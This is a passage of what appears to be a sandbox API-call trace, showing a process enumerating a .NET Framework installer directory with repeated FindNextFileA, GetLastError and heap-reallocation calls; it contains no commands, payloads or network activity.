ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0112.963] GetLastError () returned 0x0 [0112.964] GetCurrentThreadId () returned 0x9b0 [0112.964] GetLastError () returned 0x0 [0112.964] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="1025", cAlternateFileName="")) returned 1 [0112.964] GetLastError () returned 0x0 [0112.964] GetCurrentThreadId () returned 0x9b0 [0112.964] GetLastError () returned 0x0 [0112.964] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="1028", cAlternateFileName="")) returned 1 [0112.964] GetLastError () returned 0x0 [0112.964] GetCurrentThreadId () returned 0x9b0 [0112.964] GetLastError () returned 0x0 [0112.964] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="1029", cAlternateFileName="")) returned 1 [0112.964] GetLastError () returned 0x0 [0112.964] GetCurrentThreadId () returned 0x9b0 [0112.964] GetLastError () returned 0x0 [0112.965] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="1030", cAlternateFileName="")) returned 1 [0112.965] GetLastError () returned 0x0 [0112.965] GetCurrentThreadId () returned 0x9b0 [0112.965] GetLastError () returned 0x0 [0112.965] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="1031", cAlternateFileName="")) returned 1 [0112.965] GetLastError () returned 0x0 [0112.965] GetCurrentThreadId () returned 0x9b0 [0112.965] GetLastError () returned 0x0 [0112.965] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x30282d8 [0112.965] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0112.965] GetLastError () returned 0x0 [0112.965] GetCurrentThreadId () returned 0x9b0 [0112.965] GetLastError () returned 0x0 [0112.966] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0112.966] GetLastError () returned 0x0 [0112.966] GetCurrentThreadId () returned 0x9b0 [0112.966] GetLastError () returned 0x0 [0112.966] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0112.966] GetLastError () returned 0x0 [0112.966] GetCurrentThreadId () returned 0x9b0 [0112.966] GetLastError () returned 0x0 [0112.966] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0112.966] GetLastError () returned 0x0 [0112.966] GetCurrentThreadId () returned 0x9b0 [0112.966] GetLastError () returned 0x0 [0112.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x3887458 [0112.966] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0112.966] GetLastError () returned 0x0 [0112.967] GetCurrentThreadId () returned 0x9b0 [0112.967] GetLastError () returned 0x0 [0112.967] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0112.967] GetLastError () returned 0x0 [0112.967] GetCurrentThreadId () returned 0x9b0 [0112.967] GetLastError () returned 0x0 [0112.967] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0112.967] GetCurrentThreadId () returned 0x9b0 [0112.967] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0112.967] GetCurrentThreadId () returned 0x9b0 [0112.967] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0112.967] GetCurrentThreadId () returned 0x9b0 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0112.968] GetCurrentThreadId () returned 0x9b0 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0112.968] GetCurrentThreadId () returned 0x9b0 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0112.968] GetCurrentThreadId () returned 0x9b0 [0112.968] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887458, Size=0x64) returned 0x2a19b98 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0112.968] GetCurrentThreadId () returned 0x9b0 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0112.968] GetCurrentThreadId () returned 0x9b0 [0112.968] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.969] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.969] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.969] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.969] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.969] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0112.969] GetCurrentThreadId () returned 0x9b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0112.970] GetCurrentThreadId () returned 0x9b0 [0112.970] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac06b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0112.970] GetCurrentThreadId () returned 0x9b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0112.970] GetCurrentThreadId () returned 0x9b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0112.970] GetCurrentThreadId () returned 0x9b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1 [0112.970] GetCurrentThreadId () returned 0x9b0 [0112.970] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.971] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.971] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.971] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.971] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.971] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0112.971] GetCurrentThreadId () returned 0x9b0 [0112.972] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac06b0, Size=0xb8) returned 0x325f530 [0112.972] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0112.972] GetCurrentThreadId () returned 0x9b0 [0112.972] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0112.972] GetCurrentThreadId () returned 0x9b0 [0112.972] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", 